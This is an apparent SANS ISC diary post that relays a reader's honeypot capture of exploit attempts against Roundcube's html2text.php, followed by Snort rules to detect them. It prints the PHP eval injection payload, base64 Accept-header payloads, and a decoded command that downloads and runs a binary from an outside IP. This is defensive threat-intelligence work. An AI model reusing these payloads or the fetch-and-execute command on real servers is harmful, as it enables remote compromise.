ISC Reader David Wharton sent us an excellent follow-up to our previous diary entry - http://isc.sans.org/diary.html?storyid=5599

With his permission I'm simply going to quote his email report rather than try to summarize his excellent work:

As reported previously I set up a pot of honey for the roundcube vulnerability scanners who continue to hit my server. Based on data gathered from that honeypot, I was able to capture their exploit attempt and set up a second stage honeypot, which my colleague Nathan Fowler (submitter of http://isc.sans.org/diary.html?storyid=5599) and I refer to as a "fermented honeypot".

A fermented honeypot is one that has been set up based on exploit attempts identified by a first stage honeypot. What happens is that the attacker(s) get all sticky in the original honeypot and when they come back for more sweetness, they get the fermented honeypot too. Now, along with getting all sticky in the first honeypot, they get all drunk on excitement in the fermented honeypot. To compound matters, most of those who get into the fermented honeypot are script kiddies and as we all know, they are too young to drink. Since script kiddies are delinquents, they jump on the chance to indulge in the fermented honeypot, adding under age drinking to their list of crimes of hacking and compromising systems.

Consequently, the fermentation is not without a vice. Much like over consumption of alcohol the participant experiences a hang-over directly proportional to the high experienced during intoxication. It is during this stage that the fermented honeypot is the most effective, as the attacker realizes through suffering that they've been the victim and the perceived victim is the attacker.

Development of a fermented honeypot is not without effort. There is no typical Win32 click-n-create nonsense. A fermented honeypot must be specifically crafted to correctly emulate the focused attack. The author, or 'brew master', is well capable of taking a traditional honeypot and fermenting it accordingly. This is the first known instance of a fermented honeypot that we know of.

Now that a fermented honeypot has been explained, here is the interesting data captured:

---

POST /roundcube/bin/html2text.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
Host: xx.xx.xx.xx
Accept: ZWNobyAoMzMzMjEyKzQzMjQ1NjY2KS4iICI7O3Bhc3N0aHJ1KCJ1bmFtZSAtYTtpZCIpOw==
Content-Length: 54

<b>{${EVAL(BASE64_DECODE($_SERVER[HTTP_ACCEPT]))}}</b>
13:20:52.322589 IP 192.168.1.100.http > 209.160.20.34.33357: P 123078:123416(338) ack 1192 win 96 <nop,nop,timestamp 418993870 456497310>
E....g@.@..;...d...".P.M.f...W5d...`,&.....
..V..5..HTTP/1.1 200 OK
Date: Tue, 13 Jan 2009 19:20:52 GMT
Server: Apache
Last-Modified: Mon, 12 Jan 2009 16:49:04 GMT
ETag: "8c824b-63-4604be2662000"
Accept-Ranges: bytes
Content-Length: 99
Content-Type: text/plain; charset=ISO-8859-1

43578878 Linux lulzserver 2.6.24-22-server #1 SMP Mon Nov 24 19:14:19 UTC 2008 i686 GNU/Linux
root

13:20:52.397462 IP 209.160.20.34.33357 > 192.168.1.100.http: . ack 123416 win 702 <nop,nop,timestamp 456497462 418993870>
E..4.F@.6......"...d.M.P.W5d.f.(....,......
.5.6..V.
13:20:54.407674 IP 209.160.20.34.33357 > 192.168.1.100.http: P 1192:1571(379) ack 123416 win 702 <nop,nop,timestamp 456499424 418993870>
E....G@.6..2..."...d.M.P.W5d.f.(....n......
.5....V.POST /roundcube/bin/html2text.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
Host: xx.xx.xx.xx
Accept: cGFzc3RocnUoImNkIC90bXA7d2dldCA4NS4yMTQuNjQuMjI1L3djdWJlO2NobW9kICt4IHdjdWJlOy4vd2N1YmUgPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmIik7
Content-Length: 54

<b>{${EVAL(BASE64_DECODE($_SERVER[HTTP_ACCEPT]))}}</b>

---

In both exploits, the payload causes the HTTP Accept Header to be decoded and executed. The second exploit decodes to:

passthru("cd /tmp;wget 85.214.64.225/wcube;chmod +x wcube;./wcube >/dev/null 2>/dev/null &");

This appears to attempt to grab the wcube file from 85.214.64.225 and execute it. Attempts to retrieve that file have met with HTTP 404 responses.

Here are snort rules for the new exploit. These are exploit specific and have not been tested but should do the trick.

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET CURRENT_EVENTS Unknown Roundcube Vulnerability Exploit Attempt 1"; flow:to_server,established; content:"POST /roundcube/bin/html2text.php HTTP/1."; nocase; content:"Accept:
cGFzc3RocnUoImNkIC90bXA7d2dldCA4NS4yMTQuNjQuMjI1L3djdWJlO2NobW9kICt4IHdjdWJlOy4vd2N1YmUgPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmIik7"; classtype:exploit_attempt; reference:url,isc.sans.org/diary.html?storyid=5599; sid:2009xxx; rev:1;)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET CURRENT_EVENTS Unknown Roundcube Vulnerability Exploit Attempt 2"; flow:to_server,established; content:"POST /roundcube/bin/html2text.php HTTP/1."; nocase; content:"passthru(|22|cd /tmp|3B|wget 85.214.64.225/wcube|3B|chmod +x wcube|3B|./wcube >/dev/null 2>/dev/null &|22|)|3B|"; classtype:exploit_attempt; reference:url,isc.sans.org/diary.html?storyid=5599; sid:2009xxx; rev:1;)

UPDATE: Adam Pointon emailed and pointed out that we should have warned that the use of the Accept string in the first snort signature means that it is unlikely to trigger consistently as the string is intended to change in each request. As always be careful to validate signatures no matter where you get them from.